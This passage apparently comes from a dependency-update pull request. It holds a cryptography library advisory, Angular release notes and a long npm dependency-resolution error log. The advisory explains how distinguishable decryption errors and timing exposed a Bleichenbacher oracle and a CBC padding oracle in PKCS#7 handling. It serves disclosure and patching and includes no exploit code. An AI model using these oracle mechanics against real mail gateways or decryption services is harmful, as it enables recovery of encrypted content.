EnvelopedData does not authenticate its content. Tampering with
encryptedContent alone yields a CBC padding oracle that recovers plaintext at
roughly 256 queries per byte, without recovering any key, on every backend. This
is a property of PKCS#7 rather than of this implementation, cannot be fixed in
the library, and is now documented.

Credit

Reported by @​X1AOxiang.

Severity

  • CVSS Score: 8.2 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

cryptography: PKCS#7 EnvelopedData decryption exposes a Bleichenbacher oracle through distinguishable errors and timing

CVE-2026-69247 / GHSA-g6cj-pr64-35w5 / PYSEC-2026-3552

More information

Details

Summary

pkcs7_decrypt_der, pkcs7_decrypt_pem, and pkcs7_decrypt_smime reported the
outcome of decrypting a RecipientInfo's encryptedKey in several
distinguishable ways, one of which disclosed the exact length recovered from the
RSA operation. The same distinction was also observable by timing. An
application that decrypts attacker-supplied EnvelopedData and reflects the
outcome gives the attacker a Bleichenbacher oracle against the
content-encryption key.

Introduced in 44.0.0. Fixed in 50.0.0.

Details

Decryption ran as: RSA PKCS#1 v1.5 decrypt of encryptedKey → build an AES
cipher from the result → AES-CBC decrypt and PKCS#7 unpad. Each stage failed
differently, with no RFC 3218 mitigation:

  1. invalid RSA padding → Decryption failed
  2. valid padding, bad key length → Invalid key size (N) for AES., disclosing N
  3. correct length, wrong key → Invalid padding bytes.
  4. the real key → plaintext

Case 1 is reachable only where the linked library lacks implicit rejection:
OpenSSL 3.0 and 3.1, LibreSSL, and BoringSSL. On OpenSSL 3.2+, used in our wheels,
invalid padding instead returns a synthetic plaintext of
pseudorandom length, so the error channel does not distinguish conforming
ciphertexts.

Exploitation requires a service that auto-decrypts untrusted EnvelopedData
matching the victim certificate and answers adaptively at high volume, such as
an S/MIME gateway or mail filter.

Fix

Per RFC 3218, the content-encryption algorithm is now resolved before the
private key is used, so the expected key length is known in advance. If the RSA
decryption fails or recovers a key of the wrong length, a random key of the
expected length is substituted and decryption continues down an identical path.
All failures now report identically and perform the same work.

Not addressed by this fix

EnvelopedData does not authenticate its content. Tampering with
encryptedContent alone yields a CBC padding oracle that recovers plaintext at
roughly 256 queries per byte, without recovering any key, on every backend. This
is a property of PKCS#7 rather than of this implementation, cannot be fixed in
the library, and is now documented.

Credit

Reported by @​X1AOxiang.

Severity

  • CVSS Score: 8.2 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

References

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).

Release Notes

angular/angular (@​angular/common)

v20.3.27

Compare Source

compiler
Commit Type Description
5dbcd0ee16 fix disallow i18n event attributes
db0d4a1a39 fix restrict possible event handler check to property names longer than 2 characters
http
Commit Type Description
a64e2883e9 fix distinguish repeated transfer cache params
platform-server
Commit Type Description
6f80cca0b8 fix update domino to latest version
pyca/cryptography (cryptography)

v50.0.1

Compare Source

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@forking-renovate forking-renovate Bot added dependencies Pull requests that update a dependency file p0 SECURITY labels Aug 26, 2026
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The artifact failure details are included below:

File name: projects/operational-ai-leap/demo_app/ui/package-lock.json
npm warn Unknown env config "store". This will stop working in the next major version of npm. See `npm help npmrc` for supported config options.
npm warn ERESOLVE overriding peer dependency
npm warn While resolving: cymbal-shops-ui@0.0.0
npm warn Found: @angular/core@20.3.27
npm warn node_modules/@angular/core
npm warn   @angular/core@"20.3.27" from the root project
npm warn   5 more (@angular-devkit/build-angular, @angular/build, ...)
npm warn
npm warn Could not resolve dependency:
npm warn peer @angular/core@"20.1.8" from @angular/animations@20.1.8
npm warn node_modules/@angular/animations
npm warn   @angular/animations@"^20.0.0" from the root project
npm warn ERESOLVE overriding peer dependency
npm warn While resolving: cymbal-shops-ui@0.0.0
npm warn Found: @angular/core@20.3.27
npm warn node_modules/@angular/core
npm warn   @angular/core@"20.3.27" from the root project
npm warn   5 more (@angular-devkit/build-angular, @angular/build, ...)
npm warn
npm warn Could not resolve dependency:
npm warn peer @angular/core@"20.3.26" from @angular/forms@20.3.26
npm warn node_modules/@angular/forms
npm warn   peer @angular/forms@"^20.0.0 || ^21.0.0" from @angular/material@20.2.14
npm warn   node_modules/@angular/material
npm warn   1 more (the root project)
npm warn ERESOLVE overriding peer dependency
npm warn While resolving: cymbal-shops-ui@0.0.0
npm warn Found: @angular/core@20.3.27
npm warn node_modules/@angular/core
npm warn   @angular/core@"20.3.27" from the root project
npm warn   5 more (@angular-devkit/build-angular, @angular/build, ...)
npm warn
npm warn Could not resolve dependency:
npm warn peer @angular/core@"20.3.26" from @angular/forms@20.3.26
npm warn node_modules/@angular/forms
npm warn   peer @angular/forms@"^20.0.0 || ^21.0.0" from @angular/material@20.2.14
npm warn   node_modules/@angular/material
npm warn   1 more (the root project)
npm warn ERESOLVE overriding peer dependency
npm warn While resolving: cymbal-shops-ui@0.0.0
npm warn Found: @angular/core@20.3.27
npm warn node_modules/@angular/core
npm warn   @angular/core@"20.3.27" from the root project
npm warn   5 more (@angular-devkit/build-angular, @angular/build, ...)
npm warn
npm warn Could not resolve dependency:
npm warn peer @angular/core@"20.3.26" from @angular/platform-browser@20.3.26
npm warn node_modules/@angular/platform-browser
npm warn   peerOptional @angular/platform-browser@"^20.0.0" from @angular-devkit/build-angular@20.3.32
npm warn   node_modules/@angular-devkit/build-angular
npm warn   5 more (@angular/build, @angular/forms, @angular/material, ...)
npm warn ERESOLVE overriding peer dependency
npm warn While resolving: cymbal-shops-ui@0.0.0
npm warn Found: @angular/core@20.3.27
npm warn node_modules/@angular/core
npm warn   @angular/core@"20.3.27" from the root project
npm warn   5 more (@angular-devkit/build-angular, @angular/build, ...)
npm warn
npm warn Could not resolve dependency:
npm warn peer @angular/core@"20.3.26" from @angular/platform-browser@20.3.26
npm warn node_modules/@angular/platform-browser
npm warn   peerOptional @angular/platform-browser@"^20.0.0" from @angular-devkit/build-angular@20.3.32
npm warn   node_modules/@angular-devkit/build-angular
npm warn   5 more (@angular/build, @angular/forms, @angular/material, ...)
npm warn ERESOLVE overriding peer dependency
npm warn While resolving: cymbal-shops-ui@0.0.0
npm warn Found: @angular/core@20.3.27
npm warn node_modules/@angular/core
npm warn   @angular/core@"20.3.27" from the root project
npm warn   5 more (@angular-devkit/build-angular, @angular/build, ...)
npm warn
npm warn Could not resolve dependency:
npm warn peer @angular/core@"20.3.26" from @angular/platform-browser@20.3.26
npm warn node_modules/@angular/platform-browser
npm warn   peerOptional @angular/platform-browser@"^20.0.0" from @angular-devkit/build-angular@20.3.32
npm warn   node_modules/@angular-devkit/build-angular
npm warn   5 more (@angular/build, @angular/forms, @angular/material, ...)
npm warn ERESOLVE overriding peer dependency
npm warn While resolving: cymbal-shops-ui@0.0.0
npm warn Found: @angular/core@20.3.27
npm warn node_modules/@angular/core
npm warn   @angular/core@"20.3.27" from the root project
npm warn   5 more (@angular-devkit/build-angular, @angular/build, ...)
npm warn
npm warn Could not resolve dependency:
npm warn peer @angular/core@"20.3.26" from @angular/platform-browser@20.3.26
npm warn node_modules/@angular/platform-browser
npm warn   peerOptional @angular/platform-browser@"^20.0.0" from @angular-devkit/build-angular@20.3.32
npm warn   node_modules/@angular-devkit/build-angular
npm warn   5 more (@angular/build, @angular/forms, @angular/material, ...)
npm warn ERESOLVE overriding peer dependency
npm warn While resolving: cymbal-shops-ui@0.0.0
npm warn Found: @angular/core@20.3.27
npm warn node_modules/@angular/core
npm warn   @angular/core@"20.3.27" from the root project
npm warn   5 more (@angular-devkit/build-angular, @angular/build, ...)
npm warn
npm warn Could not resolve dependency:
npm warn peer @angular/core@"20.3.26" from @angular/platform-browser@20.3.26
npm warn node_modules/@angular/platform-browser
npm warn   peerOptional @angular/platform-browser@"^20.0.0" from @angular-devkit/build-angular@20.3.32
npm warn   node_modules/@angular-devkit/build-angular
npm warn   5 more (@angular/build, @angular/forms, @angular/material, ...)
npm warn ERESOLVE overriding peer dependency
npm warn While resolving: cymbal-shops-ui@0.0.0
npm warn Found: @angular/core@20.3.27
npm warn node_modules/@angular/core
npm warn   @angular/core@"20.3.27" from the root project
npm warn   5 more (@angular-devkit/build-angular, @angular/build, ...)
npm warn
npm warn Could not resolve dependency:
npm warn peer @angular/core@"20.0.7" from @angular/platform-browser-dynamic@20.0.7
npm warn node_modules/@angular/platform-browser-dynamic
npm warn   @angular/platform-browser-dynamic@"^20.0.0" from the root project
npm warn ERESOLVE overriding peer dependency
npm warn While resolving: cymbal-shops-ui@0.0.0
npm warn Found: @angular/core@20.3.27
npm warn node_modules/@angular/core
npm warn   @angular/core@"20.3.27" from the root project
npm warn   5 more (@angular-devkit/build-angular, @angular/build, ...)
npm warn
npm warn Could not resolve dependency:
npm warn peer @angular/core@"20.3.26" from @angular/router@20.3.26
npm warn node_modules/@angular/router
npm warn   @angular/router@"^20.0.0" from the root project
npm error code ERESOLVE
npm error ERESOLVE could not resolve
npm error
npm error While resolving: @angular/animations@20.1.8
npm error Found: @angular/common@20.3.27
npm error node_modules/@angular/common
npm error   @angular/common@"20.3.27" from the root project
npm error   peer @angular/common@"^20.0.0 || ^21.0.0" from @angular/cdk@20.2.14
npm error   node_modules/@angular/cdk
npm error     peer @angular/cdk@"20.2.14" from @angular/material@20.2.14
npm error     node_modules/@angular/material
npm error       @angular/material@"^20.0.0" from the root project
npm error     @angular/cdk@"^20.0.0" from the root project
npm error   1 more (@angular/material)
npm error
npm error Could not resolve dependency:
npm error peer @angular/common@"20.1.8" from @angular/animations@20.1.8
npm error node_modules/@angular/animations
npm error   @angular/animations@"^20.0.0" from the root project
npm error
npm error Conflicting peer dependency: @angular/common@20.1.8
npm error node_modules/@angular/common
npm error   peer @angular/common@"20.1.8" from @angular/animations@20.1.8
npm error   node_modules/@angular/animations
npm error     @angular/animations@"^20.0.0" from the root project
npm error
npm error Fix the upstream dependency conflict, or retry this command with --force or --legacy-peer-deps to accept an incorrect (and potentially broken) dependency resolution.
npm error
npm error
npm error For a full report see:
npm error /runner/cache/others/npm/_logs/2026-09-02T10_50_24_512Z-eresolve-report.txt
npm error A complete log of this run can be found in: /runner/cache/others/npm/_logs/2026-09-02T10_50_24_512Z-debug-0.log

@renovate-bot
renovate-bot force-pushed the renovate/00-ungrouped-projects-vulnerabilityalerts branch 6 times, most recently from bd998ba to 6e164f2 Compare September 1, 2026 14:18
@renovate-bot
renovate-bot force-pushed the renovate/00-ungrouped-projects-vulnerabilityalerts branch from 6e164f2 to c074430 Compare September 2, 2026 10:50
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